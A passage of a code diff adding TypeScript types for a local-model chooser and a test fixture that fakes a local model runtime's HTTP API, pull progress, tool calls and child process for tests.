measuredTotalBytes?: number; + /** + * What an install adds to every candidate's download beside the model: the size of the + * pinned runtime archive while the runtime is not installed, 0 once it is. It is the + * difference between `Candidate.installBytes` and `Candidate.downloadBytes`. Default 0. + */ + runtimeDownloadBytes?: number; +} + /** * Every sentence and label the server may put into the payload, in English (the i18n source * language). The zh-CN dictionary in src/web/public/i18n.js has one entry per value, keyed by @@ -315,6 +404,60 @@ export interface LocalModelMessage { vars?: Record<string, string>; } +/** + * Stage 2. The one tag a model row of the chooser carries, by what it says. + * - `tested`: `Candidate.tested` is true. Replaces every other tag. + * - `best`: the pick. The one tag drawn in the accent colour. + * - `tight`: `Candidate.fit` is `tight`. + * - `slow`: `Candidate.speed` is `slow`. + * - `small`: the model has fewer than 12 billion parameters. + * A row gets the FIRST kind of this list that applies and no tag when none does, so a pick + * that is tight says "Best fit" (the memory bar already shows how full it is). + */ +export type CandidateTagKind = 'tested' | 'best' | 'tight' | 'slow' | 'small'; + +/** + * The text of each tag, in English (the i18n source language), like `LOCAL_MODEL_LABELS`. A + * constant of its own so that a consumer can list the tag texts apart from the sentences. + */ +export const LOCAL_MODEL_TAG_LABELS = { + tested: 'Tested on a Mac like this', + best: 'Best fit', + tight: 'Tight', + slow: 'Slow', + small: 'Small model', +} as const satisfies Record<CandidateTagKind, string>; + +/** One of the texts in `LOCAL_MODEL_TAG_LABELS`. */ +export type LocalModelTagLabel = (typeof LOCAL_MODEL_TAG_LABELS)[CandidateTagKind]; + +/** Stage 2. The tag of a model row: what kind it is (for the styling) and the text to print. */ +export interface CandidateTag { + kind: CandidateTagKind; + /** `LOCAL_MODEL_TAG_LABELS[kind]`. */ + label: LocalModelTagLabel; +} + +/** + * Stage 2. One coding agent a candidate's model can be run with on this Mac, for the "Runs + * with" select of the chooser. Everything a browser needs is here, so it compares no CLI id. + */ +export interface CandidateHarness { + /** The CLI registry id, as data: what `POST /api/local-model/install` is sent as `cli`. */ + cli: string; + /** The registry's display label ('OpenCode'). */ + cliLabel: string; + /** False: the install job installs it first (it is installable, or it would not be listed). */ + installed: boolean; + /** + * The literal command the install job would run to install it (`HarnessFact.installCommand`). + * Present exactly when `installed` is false. The consent screen prints it as it is. + */ + installCommand?: string; + /** The harness row's `slowFirstTurn`. */ + slowFirstTurn?: boolean; +} + /** One model at one context with one harness, measured against this Mac. Plain JSON. */ export interface Candidate { /** `LocalModelEntry.id`. */ @@ -333,7 +476,12 @@ export interface Candidate { cliInstalled: boolean; /** The harness row's `slowFirstTurn`. */ slowFirstTurn?: boolean; - /** F = weights + kvBytesPerToken * context + 1 GiB + prompt cache. */ + /** + * What the model needs in memory at this context. Stage 1: F = weights + kvBytesPerToken * + * context + 1 GiB + prompt cache. Stage 2: the PEAK, `bytes + heldBytesPerToken * context + + * overheadBytes + peakExtraBytes` of the catalogue row. The memory bar of the chooser is + * filled to `budgetShare`, which is this over the budget. + */ needBytes: number; /** `needBytes` as decimal GB text, no unit. */ needGb: string; @@ -350,10 +498,33 @@ export interface Candidate { speed: SpeedGrade; /** `speedSlow` or `speedUnknown`. Absent when `speed` is `ok`. */ speedLabel?: LocalModelLabel; - /** Estimated generation speed, rounded to one decimal. Present exactly when `speed` is not `unknown`. `speed` is decided on the unrounded figure. */ + /** + * Generation speed in tokens per second, rounded to one decimal. Present exactly when `speed` + * is not `unknown`; `speed` is decided on the unrounded figure. An estimate from the chip's + * memory bandwidth, except (stage 2) for a candidate that is `tested`, which reports the + * speed measured in that test (`TestedOn.tokensPerSecond`). + */ tokensPerSecond?: number; /** A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this harness. */ tested: boolean; + /** Stage 2. `LocalModelEntry.figures` of the model: whether `needBytes` rests on a measurement of this model. */ + needSource?: 'measured' | 'estimated'; + /** Stage 2. The row's one tag, see `CandidateTagKind`. Absent when no kind applies. */ + tag?: CandidateTag; + /** + * Stage 2. Every coding agent this model can be run with at `context` on this Mac, best + * first. The first entry is the one the flat fields above name (`cli`, `cliLabel`, + * `cliInstalled`, `slowFirstTurn`). Never empty. + */ + harnesses?: CandidateHarness[]; + /** + * Stage 2. The whole download a click on Install starts for this row: `downloadBytes` plus + * `RecommendOptions.runtimeDownloadBytes`. It is the server's own total, and exactly the + * number `POST /api/local-model/install` must be sent as `acknowledgedBytes`. + */ + installBytes?: number; + /** Stage 2. `installBytes` as decimal GB text, no unit. */ + installGb?: string; } /** @@ -385,12 +556,4 @@ export interface Recommendation { budgetSource: BudgetSource; } -// ---------- API ---------- - -/** The `data` of `GET /api/local-model`. Read-only; admin only in multi-user mode. */ -export interface LocalModelStatus { - hardware: HardwareFacts; - recommendation: Recommendation; - /** `LocalModelCatalog.updated`. */ - catalogUpdated: string; -} +// `LocalModelStatus`, the `data` of `GET /api/local-model`, is in src/types/local-model-install.ts. diff --git a/test/fixtures/fake-ollama.ts b/test/fixtures/fake-ollama.ts new file mode 100644 index 00000000..fa680ea7 --- /dev/null +++ b/test/fixtures/fake-ollama.ts @@ -0,0 +1,810 @@ +/** + * @fileoverview A fake model runtime for the local model tests: an in-process HTTP server on + * a port the system picks, plus a fake child process that "is" the runtime, so a test starts + * no real runtime, downloads no real model and binds no fixed port. + * + * Plain `node:http`, like test/fixtures/mock-openai-server.ts. Every request is captured + * (`requests`: method, path, headers, parsed JSON body). Every answer has the shape the real + * runtime (0.40.15) gave on 2026-11-06; where a shape was not captured, the comment at its + * handler says so. + * + * What it answers: + * + * | Route | Answer | + * |-----------------------------------|---------------------------------------------------------------------| + * | `GET /` | `Ollama is running` | + * | `GET /api/version` | `{"version":"0.40.15"}` | + * | `GET /api/tags` | the model once it is installed (digest, format, runner) | + * | `GET /api/ps` | the model once a chat loaded it (`size`, `size_vram`, `context_length`) | + * | `POST /api/pull` | NDJSON progress, see `FakePullSwitches` | + * | `DELETE /api/delete` | 200, or 404 for a model that is not installed | + * | `GET /v1/models` | the model's id, or `data: null` when none is installed (as the real one) | + * | `POST /v1/chat/completions` | a plain answer, or a tool call when the request carries `tools` | + * | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches` | + * + * The switches (`fake.switches`, changeable between requests): + * - `pull.fail`: `error-line` (the real `{"error":"max retries exceeded: ..."}` line), + * `cut` (the socket is destroyed mid-stream) or `not-found`; `pull.failTimes` says how many + * pulls fail before one succeeds; `pull.resumeFrom` and the fake's own memory of how far the + * last pull got make the next pull's first line start there, as a resumed pull does. + * - `pull.shape`: `mlx` (one line shape, what a Mac really gets) or `gguf` (one layer after + * the other). + * - `ps`: `sizeVram` below `size` (not all on the GPU), another `contextLength`, or + * `loaded: false`. + * - `chat`: `error` makes the chat that loads the model fail. + * - `tool`: `call` (default), `none` (an answer without a tool call), `length` (the token + * limit ended the answer), `bad-arguments` (a tool call whose arguments are not JSON). + * - `archive`: cut the download after N bytes for the first M requests, ignore `Range`, or + * answer another status. + * - `spawn`: the fake child never listens, or exits at once. + * + * The fake child (`fake.spawn`, the shape of `RuntimeSupervisorDeps.spawn`): "starting" it + * makes the fake listen on the port of `OLLAMA_HOST` from the environment it is given and + * writes the runtime's start-up log to its stderr, including the line "inference compute" + * with the device total. Killing it closes the listener and emits `exit`. So a supervisor + * test reserves a port (`freeLoopbackPort()`), builds the fake with `createFakeOllama()` + * (not listening yet) and injects `fake.spawn`. + * + * Port: none fixed. `startFakeOllama()` listens on 0 and reports `port`. + */ + +import { createHash } from 'node:crypto'; +import { EventEmitter } from 'node:events'; +import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http'; +import { createServer as createNetServer, type AddressInfo, type Socket } from 'node:net'; +import { PassThrough } from 'node:stream'; +import { gzipSync } from 'node:zlib'; +import type { ChildProcess, SpawnOptions } from 'node:child_process'; +import type { LocalModelRuntimePin } from '../../src/types.js'; + +// ---------- Real log lines ---------- + +/** + * The runtime's line with the device total, VERBATIM from the 16 GB Mac mini (Apple M4), + * 2026-11-06. `parseInferenceComputeTotal()` must read 11.8 GiB from it. + */ +export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI = + 'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"'; + +/** + * The same line as the 48 GB MacBook (Apple M5 Pro) printed it on 2026-11-06. The measurement + * notes quote `total="37.4 GiB" available="37.4 GiB"`; the rest of the line is the Mac mini's + * with the chip name and a time filled in. `parseInferenceComputeTotal()` must read + * 40,157,944,217 bytes from it. + */ +export const REAL_INFERENCE_COMPUTE_LINE_MACBOOK = + 'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"'; + +/** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */ +export const MACBOOK_MEASURED_TOTAL_BYTES = 40_157_944_217; + +/** + * The line that FOLLOWS it and also carries the total, under another key. Verbatim from the + * Mac mini. A parser of the budget must not need it and must not be confused by it. + */ +export const REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI = + 'time=2026-11-06T13:21:49.885+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="11.8 GiB" default_num_ctx=4096'; + +/** + * What the runtime writes when it starts, in order, with `total` as the device total (the + * text inside the quotes, such as '37.4 GiB'). The shapes are the Mac mini's. + */ +export function fakeRuntimeLog(total = '37.4 GiB', port = 11435): string[] { + return [ + `time=2026-11-06T15:04:12.210+01:00 level=INFO source=routes.go:2536 msg="Listening on 127.0.0.1:${port} (version 0.40.15)"`, + 'time=2026-11-06T15:04:12.211+01:00 level=INFO source=runner.go:60 msg="discovering available GPUs..."', + `time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="${total}" available="${total}"`, + `time=2026-11-06T15:04:12.371+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="${total}" default_num_ctx=32768`, + ]; +} + +/** The error line of a pull whose download kept failing. Verbatim from the Mac mini. */ +export const REAL_PULL_ERROR_LINE = '{"error":"max retries exceeded: local error: tls: bad record MAC"}'; + +// ---------- Options and switches ---------- + +/** The model the fake serves. Default: what the MacBook really got for `qwen3.6:35b-a3b`. */ +export interface FakeOllamaModel { + id: string; + /** The pull's total and the size `/api/tags` reports. */ + bytes: number; + /** As `/api/tags` reports it: lowercase hex, no prefix. */ + digest: string; + format: string; + runner: string; + quantization: string; + capabilities: string[]; +} + +export const DEFAULT_FAKE_MODEL: FakeOllamaModel = { + id: 'qwen3.6:35b-a3b', + bytes: 23_105_798_956, + digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba', + format: 'safetensors', + runner: 'mlx', + quantization: 'nvfp4', + capabilities: ['completion', 'vision', 'tools', 'thinking'], +}; + +export interface FakePullSwitches { + /** + * `mlx`: every progress line is `{"status":"pulling model","digest":"sha256:model",...}`, + * what a Mac gets for an MLX build. `gguf`: one layer after the other, each + * `{"status":"pulling <12 hex>","digest":"sha256:<64 hex>",...}`, the first lines of a layer + * without `completed`, then `verifying sha256 digest`. + */ + shape: 'mlx' | 'gguf'; + /** How many progress lines the large layer of one full pull is spread over. Default 20. */ + progressLines: number; + /** Milliseconds between two lines. Default 0. Raise it to abort or cancel mid-stream. */ + lineDelayMs: number; + /** + * How a pull goes wrong. + * - `none`: it succeeds. + * - `error-line`: after `failAfterLines` progress lines, the real error line, then the body ends. + * - `cut`: after `failAfterLines` progress lines the socket is destroyed (no `success`, no error). + * - `not-found`: `pulling manifest`, then an error line saying the manifest does not exist. + */ + fail: 'none' | 'error-line' | 'cut' | 'not-found'; + /** Progress lines sent before the failure. Default 10. */ + failAfterLines: number; + /** How many pulls fail before one succeeds. Default `Infinity`: every pull fails. */ + failTimes: number; + /** Bytes the first pull starts at, as if an earlier run had left partial blobs. Default 0. */ + resumeFrom: number; +} + +export interface FakePsSwitches { + /** `size`. Default: the model's bytes plus 100 MB. */ + size?: number; + /** `size_vram`. Default: equal to `size` (all on the GPU). Set it lower for "does not fit". */ + sizeVram?: number; + /** `context_length`. Default: `FakeOllamaOptions.contextLength`. */ + contextLength?: number; + /** False: `/api/ps` stays empty even after a chat. */ + loaded?: boolean; +} + +export interface FakeArchiveSwitches { + /** Destroy the socket after this many bytes of the body were sent. */ + cutAfterBytes?: number; + /** For how many requests the cut applies. Default 1. */ + cutTimes: number; + /** True: answer 200 with the whole body even to a `Range` request. */ + ignoreRange: boolean; + /** Answer this status with an empty body instead (404, 503). */ + status?: number; +} + +export interface FakeSpawnSwitches { + /** True: the child starts and writes its log but never listens (the supervisor's `runtime-start-failed`). */ + neverListens: boolean; + /** A number: the child exits with this code right after it was started. */ + exitsAtOnce?: number; + /** The device total the child logs (the text inside the quotes). Default '37.4 GiB'. */ + total: string; + /** False: the "inference compute" line is left out of the log. */ + logsBudget: boolean; +} + +export interface FakeOllamaSwitches { + pull: FakePullSwitches; + ps: FakePsSwitches; + /** `error`: `POST /v1/chat/completions` WITHOUT tools answers 500. */ + chat: 'ok' | 'error'; + /** + * What `POST /v1/chat/completions` WITH tools answers. + * - `call`: one tool call with JSON arguments, `finish_reason: "tool_calls"`. + * - `none`: a text answer, `finish_reason: "stop"`. + * - `length`: an empty answer with a `reasoning` text, `finish_reason: "length"`. + * - `bad-arguments`: a tool call whose `arguments` do not parse. + */ + tool: 'call' | 'none' | 'length' | 'bad-arguments'; + archive: FakeArchiveSwitches; + spawn: FakeSpawnSwitches; +} + +export interface FakeOllamaOptions { + /** What `/api/version` answers. Default '0.40.15'. */ + version?: string; + model?: Partial<FakeOllamaModel>; + /** True: the model is installed from the start. Default false: it appears after a pull that succeeded. */ + installed?: boolean; + /** The context length the runtime "was started with": what `/api/ps` reports. Default 131072. */ + contextLength?: number; + pull?: Partial<FakePullSwitches>; + ps?: FakePsSwitches; + chat?: FakeOllamaSwitches['chat']; + tool?: FakeOllamaSwitches['tool']; + archive?: Partial<FakeArchiveSwitches>; + spawn?: Partial<FakeSpawnSwitches>; + /** The files of the fake runtime archive, name to content. Default: one executable `ollama` script. */ + archiveFiles?: Record<string, string>; +} + +export interface CapturedRequest { + method: string; + path: string; + headers: Record<string, string | string[] | undefined>; + /** The parsed JSON body, the raw text when it is not JSON, `undefined` when there is none. */ + body: unknown; +} + +/** The fake child process: enough of `ChildProcess` for a supervisor. */ +export class FakeRuntimeChild extends EventEmitter { + readonly stdout = new PassThrough(); + readonly stderr = new PassThrough(); + readonly stdin = null; + exitCode: number | null = null; + signalCode: NodeJS.Signals | null = null; + killed = false; + /** Every signal `kill()` was called with. */ + readonly signals: (NodeJS.Signals | number)[] = []; + + constructor( + /** Above every real pid (Linux allows at most 4194304), so a stray `process.kill(pid)` hits nothing. */ + readonly pid: number, + readonly command: string, + readonly args: readonly string[], + /** The environment the child was started with: what `runtimeEnv()` built. */ + readonly env: NodeJS.ProcessEnv, + private readonly onGone: () => Promise<void> + ) { + super(); + } + + /** As `ChildProcess.kill()`: the listener closes and `exit` then `close` are emitted. */ + kill(signal: NodeJS.Signals | number = 'SIGTERM'): boolean { + this.signals.push(signal); + if (this.exitCode !== null || this.signalCode !== null) return false; + this.killed = true; + void this.finish(null, typeof signal === 'string' ? signal : 'SIGTERM'); + return true; + } + + /** The child dies by itself with `code`, as a crash would. */ + crash(code = 1): void { + if (this.exitCode !== null || this.signalCode !== null) return; + void this.finish(code, null); + } + + private async finish(code: number | null, signal: NodeJS.Signals | null): Promise<void> { + this.exitCode = code; + this.signalCode = signal; + await this.onGone(); + this.stdout.end(); + this.stderr.end(); + this.emit('exit', code, signal); + this.emit('close', code, signal); + } +} + +export interface FakeOllama { + /** `http://127.0.0.1:<port>`. Empty while the fake does not listen. */ + readonly baseUrl: string; + /** 0 while the fake does not listen. */ + readonly port: number; + readonly listening: boolean; + /** Every request so far, oldest first. */ + readonly requests: CapturedRequest[]; + /** Change these between requests. */ + readonly switches: FakeOllamaSwitches; + readonly model: FakeOllamaModel; + /** What the fake remembers. */ + readonly state: { + /** The model is in `/api/tags` and `/v1/models`. */ + installed: boolean; + /** A chat loaded the model: it is in `/api/ps`. */ + loaded: boolean; + /** How far the pulls got: what the next pull's first progress line starts at. */ + completedBytes: number; + /** How many `POST /api/pull` arrived. */ + pulls: number; + /** How many `GET` of the archive arrived. */ + archiveRequests: number; + /** Every child `spawn` made, oldest first. */ + children: FakeRuntimeChild[]; + }; + /** The fake runtime archive: a real gzipped tar. */ + readonly archive: { readonly body: Buffer; readonly size: number; readonly sha256: string }; + /** A pin that points at this fake's archive (valid while it listens). */ + pin(): LocalModelRuntimePin; + /** Starts listening on 127.0.0.1. Default port 0: the system picks one. */ + listen(port?: number): Promise<void>; + /** Stops listening and drops every open connection. Safe to call twice. */ + close(): Promise<void>; + /** + * A stand-in for `child_process.spawn` that "starts the runtime": the fake listens on the + * port of `options.env.OLLAMA_HOST` and the child logs the start-up lines. See the file header. + */ + spawn(command: string, args: readonly string[], options: SpawnOptions): ChildProcess; +} + +// ---------- Helpers ---------- + +/** A loopback port nothing listens on right now: bound on 0, read, closed again. */ +export async function freeLoopbackPort(): Promise<number> { + return new Promise((resolve, reject) => { + const probe = createNetServer(); + probe.once('error', reject); + probe.listen(0, '127.0.0.1', () => { + const { port } = probe.address() as AddressInfo; + probe.close(() => resolve(port)); + }); + }); +} + +/** One file as a tar entry: a 512-byte ustar header, the content, zero padding to 512. */ +function tarEntry(name: string, content: Buffer, mode: number): Buffer { + const header = Buffer.alloc(512); + header.write(name, 0, 100, 'utf8'); + header.write(mode.toString(8).padStart(7, '0') + '\0', 100, 8, 'ascii'); + header.write('0000000\0', 108, 8, 'ascii'); + header.write('0000000\0', 116, 8, 'ascii'); + header.write(content.length.toString(8).padStart(11, '0') + '\0', 124, 12, 'ascii'); + header.write('00000000000\0', 136, 12, 'ascii'); + header.write(' ', 148, 8, 'ascii'); + header.write('0', 156, 1, 'ascii'); + header.write('ustar\0', 257, 6, 'ascii'); + header.write('00', 263, 2, 'ascii'); + let sum = 0; + for (const byte of header) sum += byte; + header.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii'); + const padding = Buffer.alloc((512 - (content.length % 512)) % 512); + return Buffer.concat([header, content, padding]); +} + +/** A gzipped tar of `files`, which `/usr/bin/tar -xzf` unpacks. A file named `ollama` is executable. */ +export function buildFakeArchive(files: Record<string, string>): Buffer { + const entries = Object.entries(files).map(([name, text]) => + tarEntry(name, Buffer.from(text, 'utf8'), name === 'ollama' ? 0o755 : 0o644) + ); + return gzipSync(Buffer.concat([...entries, Buffer.alloc(1024)])); +} + +function readBody(req: IncomingMessage): Promise<unknown> { + return new Promise((resolve) => { + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('end', () => { + const raw = Buffer.concat(chunks).toString('utf8'); + if (!raw) return resolve(undefined); + try { + resolve(JSON.parse(raw)); + } catch { + resolve(raw); + } + }); + req.on('error', () => resolve(undefined)); + }); +} + +function sendJson(res: ServerResponse, status: number, body: unknown): void { + res.writeHead(status, { 'content-type': 'application/json; charset=utf-8' }); + res.end(JSON.stringify(body)); +} + +const sleep = (ms: number): Promise<void> => new Promise((resolve) => setTimeout(resolve, ms)); + +/** A value for one tool parameter, by its JSON schema type. */ +function placeholderFor(schema: unknown): unknown { + const type = (schema as { type?: unknown } | undefined)?.type; + if (type === 'number' || type === 'integer') return 1; + if (type === 'boolean') return true; + if (type === 'array') return []; + if (type === 'object') return {}; + return 'README.md'; +} + +/** The small layers a GGUF pull ends with: the sizes of the real `qwen2.5:0.5b` pull. */ +const GGUF_SMALL_LAYERS = [68, 1482, 11343, 490]; + +// ---------- The fake ---------- + +/** A fake that does not listen yet. For a supervisor test, which injects `fake.spawn`. */ +export function createFakeOllama(options: FakeOllamaOptions = {}): FakeOllama { + const version = options.version ?? '0.40.15'; + const model: FakeOllamaModel = { ...DEFAULT_FAKE_MODEL, ...options.model }; + const contextLength = options.contextLength ?? 131072; + const switches: FakeOllamaSwitches = { + pull: { + shape: 'mlx', + progressLines: 20, + lineDelayMs: 0, + fail: 'none', + failAfterLines: 10, + failTimes: Infinity, + resumeFrom: 0, + ...options.pull, + }, + ps: { ...options.ps }, + chat: options.chat ?? 'ok', + tool: options.tool ?? 'call', + archive: { cutTimes: 1, ignoreRange: false, ...options.archive }, + spawn: { neverListens: false, total: '37.4 GiB', logsBudget: true, ...options.spawn }, + }; + const archiveBody = buildFakeArchive(options.archiveFiles ?? { ollama: '#!/bin/sh\necho "fake runtime"\n' }); + const archive = { + body: archiveBody, + size: archiveBody.length, + sha256: createHash('sha256').update(archiveBody).digest('hex'), + }; + const state: FakeOllama['state'] = { + installed: options.installed ?? false, + loaded: false, + completedBytes: 0, + pulls: 0, + archiveRequests: 0, + children: [], + }; + const requests: CapturedRequest[] = []; + const sockets = new Set<Socket>(); + let server: Server | undefined; + let port = 0; + let failedPulls = 0; + let archiveCuts = 0; + let nextPid = 9_000_001; + let chatCounter = 100; + + const modelDetails = (): Record<string, unknown> => ({ + parent_model: '', + format: model.format, + family: 'qwen35', + families: ['qwen35'], + parameter_size: '35.9B', + quantization_level: model.quantization, + }); + + async function handlePull(res: ServerResponse, body: unknown): Promise<void> { + state.pulls += 1; + const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {}; + const askedId = typeof asked.model === 'string' ? asked.model : asked.name; + const { pull } = switches; + res.writeHead(200, { 'content-type': 'application/x-ndjson' }); + let gone = false; + res.on('close', () => { + gone = true; + }); + // Each line is handed to the system before the next step, so a cut that follows really + // arrives AFTER the lines before it, as on a real connection. + const line = async (value: unknown): Promise<boolean> => { + if (gone) return false; + await new Promise<void>((resolve) => res.write(JSON.stringify(value) + '\n', () => resolve())); + if (pull.lineDelayMs > 0) await sleep(pull.lineDelayMs); + return !gone; + }; + + if (!(await line({ status: 'pulling manifest' }))) return; + // Not captured on a Mac: the wording of the runtime for a tag the registry does not have. + if (pull.fail === 'not-found' || askedId !== model.id) { + await line({ error: 'pull model manifest: file does not exist' }); + res.end(); + return; + } + + const failing = pull.fail !== 'none' && failedPulls < pull.failTimes; + const smallTotal = GGUF_SMALL_LAYERS.reduce((sum, size) => sum + size, 0); + const largeTotal = pull.shape === 'gguf' ? model.bytes - smallTotal : model.bytes; + const largeDigest = pull.shape === 'gguf' ? `sha256:${model.digest}` : 'sha256:model'; + const largeStatus = pull.shape === 'gguf' ? `pulling ${model.digest.slice(0, 12)}` : 'pulling model'; + const start = Math.min(Math.max(state.completedBytes, pull.resumeFrom), largeTotal); + const lines = Math.max(1, pull.progressLines); + + // A GGUF layer announces itself without `completed` first. + if (pull.shape === 'gguf' && start === 0) { + if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal }))) return; + } + for (let i = 0; i <= lines; i++) { + if (failing && i === pull.failAfterLines) { + failedPulls += 1; + if (pull.fail === 'error-line') { + res.write(REAL_PULL_ERROR_LINE + '\n'); + res.end(); + } else { + res.socket?.destroy(); + } + return; + } + const completed = i === lines ? largeTotal : start + Math.floor(((largeTotal - start) * i) / lines); + if (!(await line({ status: largeStatus, digest: largeDigest, total: largeTotal, completed }))) return; + state.completedBytes = completed; + } + + if (pull.shape === 'gguf') { + for (const [index, size] of GGUF_SMALL_LAYERS.entries()) { + const hex = createHash('sha256').update(`${model.id}:${index}`).digest('hex'); + const layer = { status: `pulling ${hex.slice(0, 12)}`, digest: `sha256:${hex}`, total: size }; + if (!(await line(layer))) return; + if (!(await line({ ...layer, completed: size }))) return; + } + if (!(await line({ status: 'verifying sha256 digest' }))) return; + } + if (!(await line({ status: 'writing manifest' }))) return; + state.installed = true; + state.completedBytes = model.bytes; + await line({ status: 'success' }); + res.end(); + } + + function handleChat(res: ServerResponse, body: unknown): void { + const request = (body as { model?: unknown; tools?: unknown } | undefined) ?? {}; + if (!state.installed || request.model !== model.id) { + sendJson(res, 404, { + error: { + message: `model '${String(request.model)}' not found`, + type: 'not_found_error', + param: null, + code: null, + }, + }); + return; + } + const tools = Array.isArray(request.tools) ? request.tools : []; + const envelope = (message: Record<string, unknown>, finishReason: string): Record<string, unknown> => ({ + id: `chatcmpl-${chatCounter++}`, + object: 'chat.completion', + created: 1793968038, + model: model.id, + system_fingerprint: 'fp_ollama', + choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }], + usage: { + prompt_tokens: 36, + prompt_tokens_details: { cached_tokens: 0 }, + completion_tokens: 2, + total_tokens: 38, + }, + }); + + if (tools.length === 0) { + if (switches.chat === 'error') { + // Not captured: the runtime's 500 for a model that fails to load. + sendJson(res, 500, { + error: { message: 'llm server error: out of memory', type: 'api_error', param: null, code: null }, + }); + return; + } + if (switches.ps.loaded !== false) state.loaded = true; + sendJson(res, 200, envelope({ content: 'pong' }, 'stop')); + return; + } + + if (switches.ps.loaded !== false) state.loaded = true; + const fn = (tools[0] as { function?: { name?: unknown; parameters?: { properties?: unknown } } }).function ?? {}; + const name = typeof fn.name === 'string' ? fn.name : 'tool'; + const properties = (fn.parameters?.properties ?? {}) as Record<string, unknown>; + const args = Object.fromEntries(Object.entries(properties).map(([key, schema]) => [key, placeholderFor(schema)])); + const toolCall = (argumentsText: string): Record<string, unknown> => ({ + content: '', + tool_calls: [{ id: 'call_ag8rmzix', index: 0, type: 'function', function: { name, arguments: argumentsText } }], + }); + switch (switches.tool) { + case 'call': + sendJson(res, 200, envelope(toolCall(JSON.stringify(args)), 'tool_calls')); + return; + case 'bad-arguments': + sendJson(res, 200, envelope(toolCall('{"path": '), 'tool_calls')); + return; + case 'length': + sendJson( + res, + 200, + envelope({ content: '', reasoning: 'The user wants me to read a file. I should call the tool' }, 'length') + ); + return; + case 'none': + sendJson(res, 200, envelope({ content: 'I would read the file, but I cannot.' }, 'stop')); + return; + } + } + + function handleArchive(req: IncomingMessage, res: ServerResponse): void { + state.archiveRequests += 1; + const { archive: sw } = switches; + if (sw.status !== undefined) { + res.writeHead(sw.status); + res.end(); + return; + } + let from = 0; + const range = /^bytes=(\d+)-$/.exec(String(req.headers.range ?? '')); + if (range && !sw.ignoreRange) { + from = Number(range[1]); + if (from >= archive.size) { + res.writeHead(416, { 'content-range': `bytes */${archive.size}` }); + res.end(); + return; + } + } + const body = archive.body.subarray(from); + const headers: Record<string, string> = { + 'content-type': 'application/octet-stream', + 'content-length': String(body.length), + 'accept-ranges': 'bytes', + }; + if (from > 0) headers['content-range'] = `bytes ${from}-${archive.size - 1}/${archive.size}`; + res.writeHead(from > 0 ? 206 : 200, headers); + if (req.method === 'HEAD') { + res.end(); + return; + } + if (sw.cutAfterBytes !== undefined && archiveCuts < sw.cutTimes && sw.cutAfterBytes < body.length) { + archiveCuts += 1; + res.write(body.subarray(0, sw.cutAfterBytes), () => res.socket?.destroy()); + return; + } + res.end(body); + } + + async function handle(req: IncomingMessage, res: ServerResponse): Promise<void> { + const body = await readBody(req); + const path = (req.url ?? '').split('?')[0]; + const method = req.method ?? 'GET'; + requests.push({ method, path, headers: req.headers, body }); + + if (path === '/' && method === 'GET') { + res.writeHead(200, { 'content-type': 'text/plain; charset=utf-8' }); + res.end('Ollama is running'); + return; + } + if (path === '/api/version' && method === 'GET') return sendJson(res, 200, { version }); + if (path === '/api/tags' && method === 'GET') { + const models = state.installed + ? [ + { + name: model.id, + model: model.id, + modified_at: '2026-11-06T15:10:02.465346347+01:00', + size: model.bytes, + digest: model.digest, + details: { ...modelDetails(), context_length: 262144, runner: model.runner }, + capabilities: model.capabilities, + }, + ] + : []; + return sendJson(res, 200, { models }); + } + if (path === '/api/ps' && method === 'GET') { + const size = switches.ps.size ?? model.bytes + 100_000_000; + const models = + state.installed && state.loaded && switches.ps.loaded !== false + ? [ + { + name: model.id, + model: model.id, + size, + digest: model.digest, + details: modelDetails(), + expires_at: '2026-11-06T15:20:09.488045+01:00', + size_vram: switches.ps.sizeVram ?? size, + context_length: switches.ps.contextLength ?? contextLength, + runner: model.runner, + }, + ] + : []; + return sendJson(res, 200, { models }); + } + if (path === '/api/pull' && method === 'POST') return handlePull(res, body); + if (path === '/api/delete' && method === 'DELETE') { + // Not captured: the answers of a delete (200 with no body, 404 with an error text). + const asked = (body as { model?: unknown; name?: unknown } | undefined) ?? {}; + const askedId = typeof asked.model === 'string' ? asked.model : asked.name; + if (!state.installed || askedId !== model.id) { + return sendJson(res, 404, { error: `model '${String(askedId)}' not found` }); + } + state.installed = false; + state.loaded = false; + state.completedBytes = 0; + res.writeHead(200); + res.end(); + return; + } + if (path === '/v1/models' && method === 'GET') { + const data = state.installed + ? [{ id: model.id, object: 'model', created: 1793967749, owned_by: 'library' }] + : null; + return sendJson(res, 200, { object: 'list', data }); + } + if (path === '/v1/chat/completions' && method === 'POST') return handleChat(res, body); + if (path === '/download/ollama-darwin.tgz' && (method === 'GET' || method === 'HEAD')) { + return handleArchive(req, res); + } + res.writeHead(404, { 'content-type': 'text/plain; charset=utf-8' }); + res.end('404 page not found'); + } + + async function listen(onPort = 0): Promise<void> { + if (server) throw new Error('The fake runtime already listens'); + const created = createServer((req, res) => { + handle(req, res).catch(() => { + if (!res.headersSent) res.writeHead(500); + res.end(); + }); + }); + created.on('connection', (socket) => { + sockets.add(socket); + socket.on('close', () => sockets.delete(socket)); + }); + await new Promise<void>((resolve, reject) => { + created.once('error', reject); + created.listen(onPort, '127.0.0.1', () => resolve()); + }); + server = created; 